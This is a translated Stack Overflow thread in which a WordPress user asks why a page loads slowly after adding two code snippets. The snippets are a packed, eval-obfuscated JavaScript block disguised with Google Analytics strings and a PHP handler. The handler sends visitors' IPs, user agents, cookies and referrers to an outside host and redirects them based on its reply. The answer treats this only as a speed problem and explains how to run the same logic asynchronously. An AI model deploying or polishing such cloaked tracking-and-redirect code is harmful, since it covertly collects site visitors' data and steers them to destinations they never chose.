【问题标题】:Page loads with a delay页面加载延迟
【发布时间】:2017-03-29 15:54:58
【问题描述】:

我在我的 wordpress 网站中使用以下脚本,问题是在将其插入页面的头部时。当输入 url 并点击进入页面时,页面会保持空白(白屏)大约 20 秒。然后加载整个页面。

我已经尝试使用全新的 wordpress 安装和默认的 wordpress 主题使用此脚本,即使出现延迟也是如此。所以我认为这不是我正在使用的自定义 wordpress 主题的问题。

即使我把它放在页脚,但没有运气。

以下是我正在使用的 2 个代码,我需要弄清楚发生了什么。

由于某种原因,我的代码未在此处格式化。请参考这个

 <style>
html {
    display: none;
}
 </style>
<script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js">  </script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jstimezonedetect/1.0.6/jstz.min.js">   </script>
  <script>
    eval(function(p, a, c, k, e, r) {
     e = function(c) {
        return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ?    String.fromCharCode(c + 29) : c.toString(36))
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('$(2).7(3(){$("8").9();0 f=h i();f.j("k",2.4,l);f.5(m);0 g=f.n().o();0 b="p";0 c=("2","q","//s.t-6.u/6.v");c=("w","x-y-1","z");c=("5","A");0 d=B.C();0 e=d.D();$.E({F:4.G,H:"I",J:"K="+e+"&r="+2.L+"&M="+g,N:3(a){O(a)}})});', 51, 51, 'var||document|function|location|send|analytics|ready|html|hide||||||||new|XMLHttpRequest|open|GET|false|null|getAllResponseHeaders|toLowerCase|GoogleAnalyticsObject|script||www|google|com|js|create|UA|4964223|auto|pageview|jstz|determine|name|ajax|url|href|type|POST|data|tz|referrer|he|success|eval'.split('|'), 0, {}))

和 PHP

<?php
error_reporting(E_ALL & ~E_NOTICE);
 if (isset($_POST["tz"])) {
$id   = "202186";
$uid  = "g7tcv86snc6u6hh7aeuzmbbon";
$qu   = $_SERVER["QUERY_STRING"];
$ch   = curl_init();
$url  = "http://jcibj.com/pcl.php";
$data = array(
    "lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
    "ref" => $_POST["r"],
    "ip" => $_SERVER["REMOTE_ADDR"],
    "ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
    "sn" => $_SERVER["SERVER_NAME"],
    "query" => $qu,
    "ua" => $_SERVER["HTTP_USER_AGENT"],
    "co" => $_COOKIE["_event"],
    "tz" => $_POST["tz"],
    "he" => $_POST["he"],
    "user_id" => $uid,
    "id" => $id
);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
curl_close($ch);
$arr = explode(",", $result);
if (!empty($qu)) {
    if (strpos($arr[1], "?")) {
        $q = "&" . $qu;
    } else {
        $q = "?" . $qu;
    }
} else {
    $q = "";
}
if ($arr[0] === "true") {
    if (strstr($arr[1], "sp.php")) {
        $q = "";
    }
    if (!empty($arr[7])) {
        setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9]);
    }
    if ($arr[2]) {
        if ($arr[4] == 1 OR $arr[4] == 3) {
            setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]);
        }
    }
    echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $q . '"';
    exit();
} elseif ($arr[0] === "false") {
    if ($arr[5]) {
        $f = $q;
    } else {
        $f = "";
    }
    if ($arr[2]) {
        if ($arr[4] == 2 OR $arr[4] == 3) {
            setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
        }
    }
    echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $f . '"';
    exit();
} else {
    if ($arr[2]) {
        if ($arr[4] == 2 OR $arr[4] == 3) {
            setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
        }
    }
    echo '$("html").show();$("body").fadeIn(500);';
    exit();
}
}
?>

【问题讨论】:

    标签: php jquery wordpress


    【解决方案1】:

    我认为这是因为 curl 是一个同步函数,因此它会在等待 curl 响应时停止所有其他执行。我会将 curl 逻辑放在异步请求(如 AJAX)中,并在单独的 PHP 进程中加载​​页面。

    所以你有一个快速加载的 PHP 页面,一个通过 AJAX 触发 PHP curl 脚本然后在结果为一个时附加结果的 javascript。

    PHP 登陆

    <?php
    ?>
    <script
              src="https://code.jquery.com/jquery-3.2.1.min.js"
              integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
              crossorigin="anonymous"></script>
    <script type="text/javascript" src="script.js"></script>
    <div id="my-container">Loading.. hold on one sec</div>
    

    jQuery CDN

    script.js 中的Javascript

    $(document).ready(function() {
        $.get('my-curl-script.php', function(response) {
            $('#my-container').html(response);
        });
    }
    

    jQuery.get()

    my-curl-script.php 中的 PHP 卷曲逻辑

    上面的代码

    【讨论】:

    • 谢谢哥们,我不是那种精通代码的人,你能指导我如何做到这一点
    • 好的,谢谢我试试这个
    • 请注意,我应该用这种方法将我的 javascript 代码(我的问题中的第一个代码段)放在哪里?
    • 是的,好问题。我认为最好的做法是将该逻辑移至 script.js,如果您改为在设置 cookie 后在 my-curl-script.php 中返回 JSON,如 die(json_encode(explode(",", $result)));,然后在 script.js 中捕获 JSON,如 $(document).ready(function() { $.getJSON('my-curl-script.php', function(arr) { if (arr[0] === "true") { } }); }
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2019-09-11
    • 1970-01-01
    • 2013-05-06
    • 1970-01-01
    相关资源
    最近更新 更多